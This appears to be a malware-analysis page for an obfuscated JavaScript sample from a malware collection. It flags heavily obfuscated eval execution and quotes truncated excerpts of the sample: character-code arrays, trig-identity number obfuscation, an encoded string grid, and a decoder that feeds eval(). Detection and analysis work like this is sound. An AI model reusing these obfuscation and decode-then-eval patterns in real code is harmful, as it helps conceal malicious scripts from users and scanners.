Suspicious 80% javascript-malware-collection Download

20151216_98186d671214964729a07ab542d9c615.js

Heavily obfuscated eval execution

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-2561479ef953379264c6120f0d89c0ae7f1ce4eae50173d2a9c4a6d59e07b332a68

Evidence

0x3f hex byte token line 1
1cwfKgGSX=[0x4,0x9,0xc,0xf,0x14,0x1c,0x1e,0x26,0x2a,0x31,0x34,0x38,0x3f,0x44,0x48,0x4f,0x53,0x59,0x5a,0x60,0x68,0x6a,0x6f,0x75,0x79,0x7f,0x82,0x89,0x8d,0x93,0x9a,0x9f,0xa4,0xa5,0xae,0xb0,0xb7,0xba,0x …
Builds characters with String.fromCharCode line 2
2:154… 'm','M','L',']','I','/','e','!','b','j','{','f','h','E',',','b',String.fromCharCode(10),':','P','J','[','E','8','9','8',';','m',';','!',']','n','C',String.fromCharCode(13),'I','k','y','/','1','>','m','!','w','Q' …
Calls JavaScript toString conversion method lines 4–7
4:44… CYPcdi){coHO=HDvWujCowACsFbTje(dVWNVTFkixM,BWviKaZapjvsx);bsajv=coHO.toString(esCYPcdi);return bsajv;}
5function GhCOnmCmRujCjRU(ehDeKbTicvMPgkBvU,EItmdZZPyQVOamTzcSxVNcsapdUdZHmKVz,fOVpENvMgvrZVVmholHftzkmyyWgzflElxT){eval(ehDeKbTicvMPgkBvU);}
6function jkZCnZvOKtXonYWBbibXIlUKwQgcpUwqnCiCFBTDIBZzORvchZcZOO(GeUGfzuFKmeoD,tHOuvNbhwjPtDe){ return qbdqeTv[cwfKgGSX[RduYM(GeUGfzuFKmeoD[tHOuvNbhwjPtDe],(1544+220)/63,(1170+320)/149)]];}
7function NAlllay(drjLqUGPVnblEAdpuRrzJihKFPuzSIBaxTpk) {return !UeSFBTnjGap(HnaDoPiIYXCCHKC(drjLqUGPVnblEAdpuRrzJihKF …
Dense indexed short-token grid lines 12–13
12:33… pDaVGzC,FGnxlMLmmPs) {MUBaxOOGnpMoPJ[xZHnXApDaVGzC]=FGnxlMLmmPs;}
13var F = new Array();F[0]=[];F[0][0]='d';F[0][1]='a';F[0][2]='d';F[0][3]='a';F[0][4]='46';F[0][5]='3d';F[0][6]='42';F[0][7]='14';F[0][8]='33';F[0][9]='14';F[0][10]='25';F[0][11]='14';F[0][12]='16';F[0][13]='47';F[0][14]='3k';F[0][15]='3d';F[0][16]='44';F[0][17]='3g';F[0][18]='3l';F[0][19]='3g';F[0][20]='49';F[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],F[4],F[5]];
20var KmixePWtm=[];
21function UEZrKztgFushnCoSI(gKEoK){LShtuzZQdjS= '';TZrZbzhsjai=Math.round((Math.pow(Math.sin(496), 2) + Math.pow(Math.cos(496), 2) - 1));while(true){if (TZrZbzhsjai >= (5451+213)/944){break;}KmixePWtm[TZrZbzhsjai]=Math.round((Math.pow(Math.sin(510), 2) + Math.pow(Math.cos(510), 2) - 1)); while(true) { if(KmixePWtm[TZrZbzhsjai] > gKEoK[TZrZbzhsjai].length-(1+102)/103) { break; } if (NAlllay(RduYM(gKEoK[TZrZbzhsjai][KmixePWtm[TZrZbzhsjai]],(13825+287)/504,(800+540)/134))) {LShtuzZQdjS += jkZCnZvOKtXonYWBbibXIlUKwQgcpUwqnCiCFBTDIBZzORvchZcZOO([gKEoK[TZrZbzhsjai][KmixePWtm[TZrZbzhsjai]]], Math.round((Math.pow(Math.sin(971), 2) + Math.pow(Math.cos(971), 2) - 1)));} KmixePWtm[TZrZbzhsjai]++;}TZrZbzhsjai++;} return LShtuzZQdjS}
22var ylxBKAThlMiGiHPcpEVIppYcjxIctTwqz = 'gIdZnfoUWksoBUauKjyyHiIjPbPUHaipDNmZ';var SkvNBOjXcystCpDrsKzhoQuJFaOvkoNR = 'neNnoTWBKdeKVjkSxGmrssCAMAoqPZVtxvfQ';GhCOnmCmRujCjRU(UEZrKztgFushnCoSI(gKEoK),ylxBKAThlMiGiHPcpEVIppYcjxIctTwqz,SkvNBOjXcystCpDrsKzh …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.